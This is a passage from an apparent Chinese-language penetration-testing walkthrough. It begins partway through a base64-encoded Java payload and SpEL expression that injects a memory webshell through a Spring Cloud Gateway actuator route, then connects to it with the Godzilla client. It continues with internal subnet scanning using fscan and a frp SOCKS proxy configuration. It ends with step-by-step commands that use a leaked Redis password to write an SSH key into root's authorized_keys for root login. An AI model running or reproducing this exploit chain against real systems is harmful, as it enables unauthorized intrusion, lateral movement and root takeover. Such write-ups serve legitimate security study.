AAnACgAGwADAGwAAAAWAAUAAAA1AAYANgAiADcAKAA4ACkAOQBtAAAANAAFAAYAIgCLAIwAAwApAAIAeAB5AAMAAAArAG4AbwAAAAAAKwCNAIQAAQAAACsAjgCPAAIAfQAAADwAA/8ADwAEBwCQBwAlAQcAkQABBwCR/wAAAAQHAJAHACUBBwCRAAIHAJEB/wAXAAMHAJAHACUBAAEHAH4AgAAAAAkCAI0AAACOAAAACQBnAJIAAgBrAAAApwAEAAMAAAAwAUwSL7gAME0sKrYAKwMqtgAxtgAyuwAzWQQstgA0twA1EBC2ADa2ADdMpwAETSuwAAEAAgAqAC0AGwADAGwAAAAeAAcAAAA+AAIAQQAIAEIAFQBDACoARQAtAEQALgBGAG0AAAAgAAMACAAiAI4AkwACAAAAMACNAGYAAAACAC4AlABmAAEAfQAAABMAAv8ALQACBwB/BwB/AAEHAH4AAIAAAAAFAQCNAAAACQCVAJYAAwBrAAABRAAGAAUAAAByAU0SOLgAOUwrEjoBtgA7KwG2ABlOLbYAChI8BL0ADFkDEiVTtgA7LQS9AA1ZAypTtgAZwAAVTacAOU4SPbgAOUwrtgA+OgQZBLYAChI/BL0ADFkDEiVTtgA7GQQEvQANWQMqU7YAGcAAFU2nAAU6BCywAAIAAgA3ADoAGwA7AGsAbgAbAAMAbAAAADIADAAAAEsAAgBNAAgATgAVAE8ANwBXADoAUAA7AFIAQQBTAEcAVABrAFYAbgBVAHAAWABtAAAASAAHABUAIgCXAHsAAwAIADIAmACZAAEARwAkAJcAewAEAEEALQCYAJkAAQA7ADUAeAB5AAMAAAByAJoAhAAAAAIAcACbAGYAAgB9AAAAKgAD/wA6AAMHACUABwB/AAEHAH7/ADMABAcAJQAHAH8HAH4AAQcAfvoAAQCIAAAABAABABsAgAAAAAUBAJoAAAAJAJwAnQADAGsAAAFKAAYABQAAAHgBTRI4uAA5TCsSQAG2ADsrAbYAGU4ttgAKEkEEvQAMWQMSFVO2ADstBL0ADVkDKlO2ABnAACXAACVNpwA8ThJCuAA5TCu2AD46BBkEtgAKEkMEvQAMWQMSFVO2ADsZBAS9AA1ZAypTtgAZwAAlwAAlTacABToELLAAAgACADoAPQAbAD4AcQB0ABsAAwBsAAAAMgAMAAAAXQACAF8ACABgABUAYQA6AGkAPQBiAD4AZABEAGUASgBmAHEAaAB0AGcAdgBqAG0AAABIAAcAFQAlAJ4AewADAAgANQCYAJkAAQBKACcAngB7AAQARAAwAJgAmQABAD4AOAB4AHkAAwAAAHgAmgBmAAAAAgB2AJsAhAACAH0AAAAqAAP/AD0AAwcAfwAHACUAAQcAfv8ANgAEBwB/AAcAJQcAfgABBwB++gABAIgAAAAEAAEAGwCAAAAABQEAmgAAACEAnwCgAAMAawAAAJQABAADAAAALCu5AEQBACq6AEUAALYARk27AEdZLLIASLcASbBNuwBHWSy2AEqyAEi3AEmwAAEAAAAbABwAGwADAGwAAAASAAQAAABxABAAiAAcAIkAHQCKAG0AAAAqAAQAEAAMAKEAewACAB0ADwCiAHkAAgAAACwAbgBvAAAAAAAsAKMApAABAH0AAAAGAAFcBwB+AIAAAAAFAQCjAAAApQAAAA4AAQCmAAEAm1sAAXMApxACAKgAqQACAGsAAAGYAAQABwAAAMC7AAJZtwADTSuyAAS5AEsCAMAAFU4qLbgATAO2AE06BLIAThJPuQBQAgDHABayAE4STxkEuABRuQBSAwBXpwBusgBOElMZBLkAUgMAV7sAVFm3AFU6BbIAThJPuQBQAgDAAAy2AD46BhkGGQW2AFZXGQYZBLYAVlcssgAJAxAQtgBXtgAFVxkGtgBYVywqGQW2AFkEtgBNuABatgAFVyyyAAkQELYAW7YABVenAA1OLC22AEq2AAVXLLYAB7gAXLAAAQAIAKsArgAbAAMAbAAAAEoAEgAAAHIACAB0ABUAdQAgAHYALQB3AEAAeQBNAHoAVgB7AGgAfABwAH0AeAB+AIYAfwCMAIAAngCBAKsAhQCuAIMArwCEALgAhgBtAAAAUgAIAFYAVQCqAKsABQBoAEMArAB7AAYAFQCWAK0AZgADACAAiwCuAIQABACvAAkAogB5AAMAAADAAG4AbwAAAAAAwACLAK8AAQAIALgAsACxAAIAfQAAABYABP4AQAcAsgcAfwcAJfkAakIHAH4JAIAAAAAFAQCLEAAACACzAGoAAQBrAAAAMQACAAAAAAAVuwBdWbcAXrMAThJfswAEEmCzAAaxAAAAAQBsAAAACgACAAAAFwAKABgAAwC0AAAAAgC1AScAAAASAAIAyQAPASYGCQFyAXUBcwAZAPkAAAAMAAEA+gADAPsA/AD9'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/nnmm')}" } }], "uri": "http://example.com"}
重新整理路由:
http://192.168.100.50:8800/actuator/gateway/refresh
接著使用哥斯拉連線,預設密碼,連線地址:
http://192.168.100.50:8800/nnmm
連線成功
2.4 內網資訊蒐集
哥斯拉連線上之後,發現還存在內網,再次上傳fscan掃描其內網C段(192.168.88.1/24),如果哥斯拉上傳較慢的話,可以在xxl-job這臺機器上起一個python服務,wget下載也行。
fscan掃描結果中發現在192.168.88.1的C段還有另一臺機子192.168.88.70開放了6379,這個是redis預設開放的埠
192.168.88.60:22 open192.168.88.70:22 open192.168.88.1:135 open192.168.88.1:139 open192.168.88.1:445 open192.168.88.70:6379 open192.168.88.1:7680 open192.168.88.60:8800 open192.168.88.60:8848 open
從nacos的配置檔案中得到過一些賬密,檔案裡面也寫得有redis的配置,繼續二層代理,嘗試連線redis。
2.5 frp二層代理
將frpc客戶端的檔案上傳到nacos的機器上
frpc.ini配置為
[common]server_addr = 192.168.100.20server_port = 7777
[socks_proxy]type = tcplocal_port = 1090 remote_port =1090 plugin = socks5
xxl-job上傳frps服務端,修改好服務端的IP或者直接刪除就好
root@4:/home/bolean/xxl-jar# cat frps.ini [common]bind_port = 7777
這裡我的frpc不知道是版本還是什麼原因,還需要去第一層將frp給關掉,然後修改掉frpc.ini的配置,將最後的socks5個註釋掉,重新執行frpc
代理之後可以使用賬密成功登入redis
proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"
03
前言
3.1 redis寫ssh公鑰
redis登入成功後,嘗試寫ssh的公鑰到主機中,具體命令如下:
現在本機上生成金鑰對:ssh-keygen -t rsa -b 2048
可以設定密碼,這裡使用的空密碼
將生成的公鑰儲存到key.txt:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
將儲存的key.txt檔案內容寫入redis:cat key.txt|proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" -x set bolean
登入redis:proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"
配置目錄:config set dir /root/.ssh/
重新命名:config set dbfilename "authorized_keys"
最後儲存即可:save
┌──(rooteval)-[~/id_rsa]└─# proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"[proxychains] config file found: /etc/proxychains.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.15Warning: Using a password with '-a' option on the command line interface may not be safe.[proxychains] Strict chain ... 127.0.0.1:1090 ... 192.168.88.70:6379 ... OK192.168.88.70:6379> config set dir /root/.ssh/OK192.168.88.70:6379> config set dbfilename "authorized_keys"OK192.168.88.70:6379> saveOK192.168.88.70:6379>
遠端登入即可:proxychains ssh -i id_rsa root@192.168.88.70